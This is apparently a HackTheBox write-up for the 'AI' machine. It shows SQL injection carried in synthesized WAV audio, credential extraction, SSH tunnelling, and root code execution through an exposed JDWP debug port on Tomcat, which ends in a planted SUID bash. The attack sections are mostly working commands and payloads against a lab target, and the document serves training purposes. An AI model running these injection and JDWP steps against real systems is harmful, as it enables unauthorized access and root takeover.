HTB: AI Writeup

AI - HackTheBox Writeup

Machine Information

AttributeDetails
NameAI
OSLinux
DifficultyMedium
Points30
Release Date14 Dec 2019
IP Address10.10.10.163
AuthorMrR3boot

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

AI is a medium-difficulty Linux machine that demonstrates the intersection of machine learning and traditional web vulnerabilities. The box features a novel attack vector—SQL injection via speech-to-text processing—where audio files are converted to SQL queries. After exploiting this to retrieve credentials, privilege escalation is achieved by abusing Java Debug Wire Protocol (JDWP) on a root-owned Tomcat instance, showcasing the dangers of leaving debugging interfaces enabled in production environments.

TL;DR: Web enumeration → SQL injection via speech recognition (text2wave audio files) → SSH access as alexa → JDWP debugging on root Tomcat → Code execution as root


Reconnaissance

Port Scanning

Terminal window
# Initial TCP scan for all ports
nmap -sC -sV -T4 -p- 10.10.10.163

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Only SSH and HTTP are exposed, suggesting the initial foothold will be web-based.

Service Enumeration

HTTP (Port 80)

The web server presents an “Artificial Intelligence” themed website. Manual browsing reveals:

  • Index page: Generic AI company landing page
  • About page: Mentions the team is working on “voice recognition”
  • AI page: File upload interface specifically for .wav audio files
Terminal window
# Directory enumeration to discover hidden endpoints
gobuster dir -u http://10.10.10.163 -w /usr/share/wordlists/dirb/common.txt -x php

Key discoveries:

  • ai.php - The audio upload page (already found manually)
  • intelligence.php - Critical discovery: A mapping table showing speech-to-text conversions
  • db.php - Empty page, suggests database backend
  • uploads/ - Directory for uploaded files

Intelligence Mapping Table

The intelligence.php page reveals how the speech recognition system maps spoken phrases to SQL syntax:

Spoken InputSQL Output
”open single quote”'
”close single quote”'
”join”union
”Pound sign”#

This is the key to exploiting the system—we can craft SQL injection payloads by speaking them in a format the AI understands.

Vulnerability Assessment

  1. SQL Injection via Speech Recognition: The ai.php endpoint processes uploaded audio through speech-to-text and directly embeds the result in SQL queries without sanitization
  2. Exposed Intelligence Mappings: The presence of intelligence.php reveals the exact mappings needed to craft injection payloads
  3. Potential JDWP on Internal Services: Would need post-exploitation enumeration to confirm

Initial Foothold

Understanding the Attack Vector

The application flow is:

  1. User uploads .wav file to ai.php
  2. Server performs speech-to-text conversion
  3. Resulting text is inserted into a SQL query
  4. Query results are displayed to the user

This creates a unique injection opportunity—we can inject SQL commands by encoding them as spoken audio.

Creating Malicious Audio Files

The text2wave utility from the Festival speech synthesis package converts text to WAV format:

Terminal window
# Test basic functionality
echo "hello world" | text2wave -o test.wav
# Upload and verify the system processes it
curl -F "fileToUpload=@test.wav" -F "submit=Process It!" http://10.10.10.163/ai.php

Exploiting SQL Injection Through Audio

Testing for Injection

First, inject a single quote to trigger an error:

Terminal window
# Create audio file with SQL metacharacter
# Using the mapping: "open single quote" → '
echo "open single quote" | text2wave -o inject.wav
# Upload the file
curl -F "fileToUpload=@inject.wav" -F "submit=Process It!" http://10.10.10.163/ai.php

The response contains a MySQL error, confirming SQL injection vulnerability.

Balancing the Query

Comments can close the query cleanly:

Terminal window
# Create: ' #
# This balances quotes and comments out the rest
echo "open single quote Pound sign" | text2wave -o test.wav

No error is returned, confirming we can manipulate the query structure.

Extracting Data with UNION

Using the intelligence.php mappings:

  • “join” converts to union
  • Commas create pauses between words, helping pronunciation clarity
Terminal window
# Payload: ' union select 'test'#
# The system interprets "join" as "union"
echo "open single quote union select password from users Pound sign" | text2wave -o extract.wav
# Upload and check response
curl -F "fileToUpload=@extract.wav" -F "submit=Process It!" http://10.10.10.163/ai.php

Critical discovery: Adding commas as word separators improves recognition:

Terminal window
# Improved payload with comma-separated words
# Payload: ',union,select,password,from,users#
echo "open single quote comma union comma select comma password comma from comma users Pound sign" | text2wave -o final.wav

Result from upload: The system returns H,Sq9t6}a<)?q93_

Testing username extraction similarly:

Terminal window
# Payload: ',union,select,username,from,users#
echo "open single quote comma union comma select comma username comma from comma users Pound sign" | text2wave -o user.wav

Result: alexa

SSH Access

Terminal window
# Credentials found:
# Username: alexa
# Password: H,Sq9t6}a<)?q93_
ssh alexa@10.10.10.163
# Enter password when prompted

Success: Shell as user alexa

Terminal window
alexa@ai:~$ id
uid=1000(alexa) gid=1000(alexa) groups=1000(alexa)
alexa@ai:~$ cat user.txt
<redacted>

Privilege Escalation

Enumeration as alexa

Terminal window
# Check processes running as root
ps aux | grep root

Key finding: Apache Tomcat 9.0.27 running as root with suspicious flags:

/usr/bin/java ... -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n ... org.apache.catalina.startup.Bootstrap start

The -agentlib:jdwp flag indicates Java Debug Wire Protocol (JDWP) is enabled on localhost:8000.

Understanding JDWP Exploitation

JDWP is Java’s remote debugging protocol. When enabled without authentication, it allows:

  • Setting breakpoints in running Java code
  • Inspecting and modifying variables
  • Executing arbitrary Java code, including Runtime.exec() for command execution

Since Tomcat runs as root, JDWP access = root code execution.

Port Forwarding

JDWP is bound to localhost, so we need SSH port forwarding:

Terminal window
# From attacking machine
# Forward local port 18000 to target's localhost:8000
# (Used 18000 locally because 8000 was already in use)
ssh -L 18000:localhost:8000 alexa@10.10.10.163

JDWP Exploitation with jdwp-shellifier

Terminal window
# Download the exploitation tool
git clone https://github.com/IOActive/jdwp-shellifier.git
cd jdwp-shellifier
# Initial connection attempt
python2 jdwp-shellifier.py -t 127.0.0.1 -p 18000

Breakpoint Selection Challenge

The default breakpoint java.net.ServerSocket.accept doesn’t trigger on Tomcat 9 with NIO connectors. Instead, we need a method that fires on HTTP requests:

Terminal window
# Set breakpoint on request handler that fires per HTTP request
python2 jdwp-shellifier.py -t 127.0.0.1 -p 18000 \
--break-on "org.apache.catalina.connector.CoyoteAdapter.service"

The script connects and waits for the breakpoint to hit.

Triggering the Breakpoint

Terminal window
# From another terminal, send HTTP request to Tomcat
curl http://10.10.10.163:8080/

This triggers the CoyoteAdapter.service method, hitting our breakpoint.

Bypassing Runtime.exec() Limitations

Runtime.exec() doesn’t invoke a shell—it cannot handle shell operators like ;, &&, or ||. Multi-command payloads fail.

Solution: Stage a script as alexa, then execute it as root:

# As alexa, create exploit script
cat > /tmp/pwn.sh << 'EOF'
#!/bin/bash
# Create a SUID bash for persistence
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Read root flag
cat /root/root.txt > /tmp/flag.txt
chmod 644 /tmp/flag.txt
EOF
chmod +x /tmp/pwn.sh

Executing as Root via JDWP

When the breakpoint hits:

# In jdwp-shellifier interactive session
# Execute the single-token script path
runtime.exec("/tmp/pwn.sh")

The script runs as root (since Tomcat is root), creating /tmp/rootbash with SUID bit set.

Obtaining Root Shell

Terminal window
# Execute the SUID bash
/tmp/rootbash -p
# Verify root access
rootbash-4.4# id
uid=1000(alexa) gid=1000(alexa) euid=0(root) groups=1000(alexa)
rootbash-4.4# cat /root/root.txt
<redacted>

Root proof obtained: The SUID binary provides effective root UID (euid=0).


Attack Chain Summary

Port Scan (22, 80) → Web Enumeration (gobuster) →
Intelligence Mapping Discovery (intelligence.php) →
SQL Injection via Audio (text2wave + special phrase encoding) →
Credentials Extraction (alexa:H,Sq9t6}a<)?q93_) →
SSH Access (user flag) →
Process Enumeration (ps aux) →
JDWP Discovery (Tomcat -agentlib:jdwp) →
SSH Port Forward (local 18000 → remote localhost:8000) →
JDWP Exploitation (jdwp-shellifier + CoyoteAdapter breakpoint) →
Staged Script Execution (/tmp/pwn.sh) →
SUID Bash Creation →
Root Access (root flag)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterWeb directory and file discovery
text2waveFestival speech synthesis for creating WAV payloads
curlHTTP file upload and request testing
sshRemote access and port forwarding
psProcess enumeration for privilege escalation vectors
jdwp-shellifierJava Debug Wire Protocol exploitation framework

Key Learnings

Techniques Practiced

  • Audio-based SQL injection: Converting SQL payloads to speech using text-to-speech synthesis
  • Speech recognition mapping: Understanding how natural language maps to special characters and SQL keywords
  • JDWP exploitation: Abusing Java debugging interfaces for code execution
  • SSH port forwarding: Accessing localhost-bound services through SSH tunnels
  • Breakpoint selection: Identifying appropriate Java methods to break on in different application contexts
  • Runtime.exec() workarounds: Staging shell scripts to bypass single-command limitations

Lessons Learned

  1. Novel injection vectors exist: Any user input that undergoes transformation before being used in a backend system is a potential injection point—even audio files

  2. Debugging interfaces are dangerous: JDWP, like other debugging protocols (GDB remote, Chrome DevTools, etc.), provides complete process control and should never be exposed without authentication, especially when the process runs with elevated privileges

  3. Tomcat connector architecture matters: Different connector implementations (BIO vs NIO) have different code paths, affecting which breakpoints will trigger during exploitation

  4. Information disclosure aids exploitation: The intelligence.php page significantly simplified exploitation by documenting the exact mappings needed for injection—a reminder that even “helpful” documentation can be weaponized

  5. Multi-stage payloads overcome restrictions: When direct exploitation fails due to command limitations (like Runtime.exec()), staging scripts provides a reliable workaround

  6. Port forwarding is essential: Many privilege escalation vectors involve localhost-bound services that require tunneling to exploit remotely


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup - AI (Document No D19.100.55) by MinatoTW
  • JDWP Shellifier - IOActive Research
  • Festival Speech Synthesis System Documentation